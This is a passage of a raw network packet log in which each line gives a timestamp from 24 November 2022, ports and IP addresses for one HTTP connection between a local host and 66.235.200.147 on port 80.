Nov 24, 2022 16:57:36.686640978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686672926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686687946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686706066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686738014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686754942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686769962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686801910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686816931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686831951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686863899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686886072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686908960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686939955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.686954021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.686969995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687002897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687016964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687033892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687062979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687077045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687096119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687127113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687140942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687158108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687189102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687201977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687221050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687252998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687264919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687324047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687355042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687381029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687382936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687412024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687433004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687441111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687478065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687494993 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687506914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687535048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687553883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687563896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687593937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687611103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687623024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687653065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687666893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687681913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687720060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687733889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687750101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687778950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687794924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687807083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687834978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687850952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687864065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687891960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687911034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687920094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687947035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.687964916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.687974930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688005924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688019037 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.688035011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688062906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688080072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.688095093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688126087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688142061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.688155890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688184977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.688205004 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689395905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689428091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689455986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689466000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689486027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689501047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689513922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689543009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689557076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689572096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689599991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689620972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689630032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689659119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689677000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689688921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689718962 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689735889 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689748049 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689775944 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689795017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689800978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689829111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689851046 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689872026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689910889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689920902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.689953089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689991951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.689996958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.690032959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.690076113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.690076113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.690119982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.690157890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.690161943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.690197945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.690239906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691159010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691194057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691209078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691224098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691252947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691272020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691281080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691303968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691312075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691344023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691363096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691373110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691401005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691437006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691437960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691468000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691497087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691524029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691551924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691579103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691590071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691606998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691612959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691637039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691657066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691665888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691695929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691706896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691724062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691751957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691761017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691781044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691809893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691833973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691837072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691865921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691879988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.691889048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.691927910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692320108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692351103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692382097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692399979 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692409992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692441940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692450047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692471981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692500114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692512989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692528963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692557096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692568064 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692584991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692614079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692624092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692642927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692670107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692682028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692701101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692729950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692739010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692758083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692787886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692795992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692816019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692843914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692852974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692873001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692899942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692910910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692928076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692955971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.692970991 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.692984104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693012953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693022966 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.693042994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693068981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693083048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.693099976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693126917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693140030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.693156004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693182945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693193913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.693212986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693240881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693250895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.693269014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693299055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.693308115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.694031000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.694067001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.694092035 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.694101095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.694133997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.694144964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.695509911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.708911896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.708972931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709088087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709106922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709140062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709144115 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709183931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709225893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709227085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709268093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709311008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709311962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709352970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709393024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709404945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709435940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709469080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709482908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709508896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709549904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709554911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709590912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709630966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709635019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709673882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709716082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709719896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709758043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709800005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709804058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709842920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709884882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709887981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.709927082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709968090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.709970951 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710009098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710048914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710053921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710091114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710134983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710136890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710177898 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710218906 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710222006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710259914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710300922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710306883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710342884 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710382938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710387945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710426092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710468054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710470915 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710509062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710549116 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710552931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710592031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710632086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710635900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710673094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710712910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710717916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710755110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710798025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710804939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710839987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710925102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.710947990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.710995913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711035967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711051941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711076975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711124897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711126089 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711169004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711225033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711263895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711304903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711345911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711348057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711388111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711429119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711435080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711472988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711514950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711518049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711555004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711595058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711601973 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711636066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711678028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711684942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711720943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711761951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711790085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711812019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711853981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711860895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711894035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711935043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.711944103 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.711992025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712033033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712040901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712074041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712117910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712136030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712160110 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712203979 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712213039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712244987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712285995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712295055 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712327003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712368011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712373972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712409019 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712449074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712461948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712491989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712533951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712539911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712574005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712615967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712625027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.712657928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712697983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.712707996 CET	49713	80	192.168.2.3	66.235.200.147
